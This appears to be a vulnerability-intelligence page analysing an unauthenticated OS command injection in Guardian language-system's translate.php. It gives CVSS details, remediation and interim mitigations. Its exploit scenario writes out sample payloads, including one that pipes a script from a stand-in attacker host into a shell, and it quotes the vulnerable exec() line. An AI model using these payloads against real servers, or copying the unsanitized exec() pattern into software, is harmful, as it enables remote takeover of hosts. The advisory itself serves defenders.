Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessIdentify exposed translate.php endpoint
-
DeliveryCraft 'id' parameter with shell metacharacters
-
ExploitSend unauthenticated GET request
-
Executionexec() runs injected OS command
-
PersistAchieve remote code execution
-
ImpactInstall webshell / exfiltrate data
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The exact prerequisite is that the vulnerable endpoint translate.php is network-reachable by the attacker; exploitation is performed by supplying shell metacharacters in the 'id' GET parameter, which is concatenated unsanitized into a PHP exec() call. Per the CVSS vector (AV:N/AC:L/AT:N/PR:N/UI:N), no authentication, no user interaction, and no special non-default configuration are required - this is unauthenticated remote exploitation against reachable installations of Guardian language-system. The main limiting factor is exposure: the attacker must be able to reach translate.php over the network (direct internet exposure or access to the internal network hosting it), and the practical blast radius is bounded by the product's apparently small deployment footprint rather than by any attack precondition. |
| Impact | All available signals point to high, easily realized risk. The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) indicates network-reachable, low-complexity, unauthenticated exploitation requiring no user interaction and yielding high impact to confidentiality, integrity, and availability - a near-worst-case profile consistent with the score of 9.3. Publicly available exploit code lowers the barrier further, so weaponization effort is minimal. The counterweight is exposure and prevalence: this is not a CISA KEV entry (no public exploit identified as actively exploited at time of analysis) and no EPSS score was provided, so widespread automated exploitation is unconfirmed and the product's real-world footprint appears small. Net: technically a critical, trivially exploitable flaw that should be treated as a priority anywhere the product is deployed, but the aggregate fleet-wide risk is bounded by the product's apparent niche deployment rather than by any difficulty of attack. No conflicting signals were found between the CVSS vector and the description - both agree on unauthenticated network RCE. |
| Exploit ScenarioDerived | An attacker locates an internet-exposed Guardian language-system instance and sends a single crafted GET request to translate.php with an 'id' value such as '1;curl attacker.sh|sh' or '1$(id)', causing the injected commands to run in the server's shell. Because no authentication or user interaction is required and public exploit code already exists, a low-skill attacker can reliably achieve remote code execution and then pivot to install a webshell, exfiltrate data, or deploy further payloads. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Jul 01, 2026
OS command injection in Guardian language-system lets unauthenticated remote attackers run arbitrary shell commands by injecting metacharacters into the 'id' GET parameter of translate.php, which is concatenated directly into a PHP exec() call. Publicly available exploit code exists (published as a gist via VulnCheck), and the CVSS 4.0 base score of 9.3 reflects full compromise of confidentiality, integrity, and availability with no authentication or user interaction. There is no public exploit identified as actively exploited in CISA KEV, so the current risk is driven by ease of exploitation and public PoC rather than confirmed in-the-wild abuse.
RemediationAI
No vendor-released patch version was identified at time of analysis, so no exact fix version can be cited. The definitive fix is a code change: stop passing $_GET['id'] into exec() unsanitized - either validate 'id' against a strict allowlist (for example, enforce that it is an integer via ctype_digit or an (int) cast), or use escapeshellarg() on the value, and prefer argument-safe process APIs over shell string concatenation. As immediate compensating controls until a fixed build is available: restrict network access to translate.php via web-server rules or a WAF (for example, block requests where the 'id' parameter contains shell metacharacters such as ;, |, &, $, backticks, or spaces), place the application behind authentication or an IP allowlist, and consider disabling the language/translation feature that invokes jobs/translate.php if it is not required - the trade-off being loss of translation-job functionality. Also constrain the PHP process's OS privileges and use PHP disable_functions to block exec/shell_exec/system where the application does not legitimately need them, accepting that this may break other features that rely on shelling out. Consult the VulnCheck advisory (https://www.vulncheck.com/advisories/guardian-language-system-unauthenticated-os-command-injection-via-id-parameter-in-translate-php) for updates and any vendor fix.
Affected VersionsENISA
Affects your stack
Find out whether the stacks and servers you run are on an affected version.
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The affected component is the translation subsystem of Guardian language-system, a PHP web application. At translate.php line 14 the code builds a shell command string - exec("php jobs/translate.php ".$login_session." ".$_GET['id']." ...") - concatenating the attacker-controlled 'id' request parameter directly into the command passed to PHP's exec(). Because exec() invokes the command through the system shell, any shell metacharacters (;, |, &&, $(), backticks) in 'id' are interpreted by the shell rather than treated as a literal argument. This is the classic root cause of CWE-78 (Improper Neutralization of Special Elements used in an OS Command / 'OS Command Injection'): untrusted input reaching a command interpreter without sanitization, escaping, or use of argument-safe APIs. The single known affected product is identified by CPE cpe:2.3:a:guardian:language-system:*:*:*:*:*:*:*:*.
Know when Guardian gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Unauthenticated network-reachable endpoint with trivial injection (AV:N/AC:L/PR:N/UI:N) yielding shell command execution, giving full C/I/A impact on the host.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
Guardian language-system passes the id GET parameter directly into a PHP exec() call in translate.php (line 14) without sanitization: exec(\"php jobs/translate.php \".$login_session.\" \".$_GET['id'].\" ...\"). No authentication is required. An unauthenticated remote attacker can append shell metacharacters to execute arbitrary OS commands on the server.
Executive ViewAI
Guardian language-system contains a critical remote code execution vulnerability in translate.php that allows unauthenticated attackers to execute arbitrary system commands. All deployed versions lack a vendor patch, leaving systems fully exposed to complete compromise of data and operations. Immediate network-level containment is required to prevent active exploitation.
No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict network access to translate.php using firewall/WAF, (2) Implement strict input validation on 'id' parameter to block shell metacharacters (pipes, backticks, semicolons, $(), etc.), (3) Disable translate.php if business operations permit, (4) Deploy IDS/IPS signatures for CVE-2026-34107 exploitation attempts, (5) Enable enhanced logging and alerting on Guardian server process execution.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Remote code execution in Guardian language-system allows unauthenticated attackers to run arbitrary OS commands by injec
Unauthenticated SQL injection in Guardian Language System lets remote attackers manipulate the backend database by injec
Error-based SQL injection in Guardian Language-System allows a network-accessible authenticated attacker to extract the
SQL injection in Guardian Language-System's designer.php (line 124) allows attackers to extract, modify, or destroy the
Error-based SQL injection in Guardian language-system's subtitles.php exposes full database contents to low-privileged a
Error-based SQL injection in Guardian Language-System exposes the full database to low-privileged authenticated attacker
Error-based SQL injection in Guardian language-system's text_file.php exposes the full database to extraction via a triv
SQL injection in Guardian language-system's media.php endpoint allows low-privilege authenticated attackers to extract t
Nozomi Networks OS before 19.0.4 allows /#/network?tab=network_node_list.html CSV Injection. Rated high severity (CVSS 7
Nozomi Guardian before 19.0.4 allows attackers to achieve stored XSS (in the web front end) by leveraging the ability to
A SQL Injection vulnerability in Nozomi Networks Guardian and CMC, due to improper input validation in certain fields us
Reflected cross-site scripting in Guardian Language-System's media.php allows authenticated attackers to inject arbitrar
EUVD-2026-41064
GHSA-qp96-wjq3-2qcj
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB